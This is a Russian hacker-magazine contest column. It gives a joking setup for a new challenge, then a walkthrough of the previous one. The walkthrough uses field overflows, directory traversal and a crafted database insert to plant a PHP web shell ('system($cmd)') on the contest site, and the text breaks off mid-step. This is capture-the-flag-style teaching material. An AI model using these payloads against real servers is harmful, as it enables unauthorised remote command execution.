Х-конкурс Игнатов Олег aka BLooDeX Хакер, номер #075, стр. 075-071-1 (bloodex@real.xakep.ru) Сейчас я расскажу тебе историю безответной любви. В небольшом городке N, где растут пальмы и волны бесконечного синего моря разбиваются о прибрежные скалы, где жизнь течет своим чередом, а укуренные админы даже и не задумываются о сетевой безопасности, живет мальчик Чомба. У Чомбы всегда все было хорошо: он купался в море с подругами, собирал ананасы, ходил по клубам, кушал экстази и зажигал ночи напролет. Но однажды он встретил ее. Она была прекрасна. Это был его идеал. Мило улыбаясь, она подошла к нему и своим райским голоском проговорила: «Приветик! Хорошая сегодня погода, не правда ли?». Чомба стормозил, сказал какой-то бред, она не поняла и ушла, цокая шпильками по каменной мостовой. Теперь солнце не радует его, море кажется большим чудищем с планеты Солярка, а подруги - шлюхами. Только старенький комп его хорошо понимает. Чомба организовал сайт помощи самому себе по адресу www.padonak.ru и надеется, что в мире есть еще хорошие хакеры, которые не оставят его умирать от безответной любви и помогут ему заполучить ту самую, которую он видит в своих мечтах. Нам стало жалко бедолагу, и мы предлагаем тебе помочь парню. Если ты сделаешь это первым, то получишь от нас ценный приз. Торопись! Ну а если ты еще не прошел предыдущий конкурс и тебе до сих пор не дают спокойно спать вопросы о том, как же все-таки его проходить, то пришло время покончить с ними раз и навсегда. Слушай внимательно. Вот что нужно было делать. Вначале переполняешь поле «Профессия» в поисках пипла, забив туда остроумную и достаточно длинную строку вроде «aaaaaaaaaaaaaaaaaaa…(500 раз)». В ответ на этот ядовитый запрос вылезет табличка, в каждой графе которой сидит по слову из ругательства «Error! Table aaaaaa… isn’t exist». Теперь, если переполнить поле «Логин» на странице скачивания исходников, а в качестве пароля ввести «Error!», то появится ссылка на архив с исходниками. Далее тебе предстоит разобраться в коде, чтобы понять, как работает эта кривая программа. Создаешь базу users по аналогии с той, что хранит юзеров на padonak.ru, дописав в файл db.pdb строчку «users login%pass%age%gender%info%prof». Если теперь записать что-нибудь в эту базу, например «pdb insert users "BLooDeX qaz 15 male 0 0"», то создастся файл users, в котором будет записано «BLooDeX qaz 15 male 0 0». Попробуем создать БД ../../../../../../../pub/home/hackme/hack.php (/pub/home/hackme – путь к файлам padonak.ru, его легко узнать с помощью phpinfo). Для того чтобы создать такую таблицу на padonak.ru, используя классовое переполнение, нужно сделать примерно такой вот запрос: ./pdb insert users "../../../../../../../pub/home/hackme/hack.php col 0 0 0 aaaaa…aaaadb.pdb". Здесь количество символов от ../../../../../../../pub/home/hackme/hack.php до последнего «a» равно 800. Теперь, чтобы записать в сценарий hack.php строку вроде «<pre><?system($cmd)?></pre>», нужно запросить ./pdb insert "<pre><?system($cmd)?></pre> 0 0 0 0 aaaa…aaaa../../../../../../../pub/home/hackme/hack.php". Тут количество символов от <pre> до последнего «a» снова равняется 800. Теперь осталось только записать это в форму регистрации: |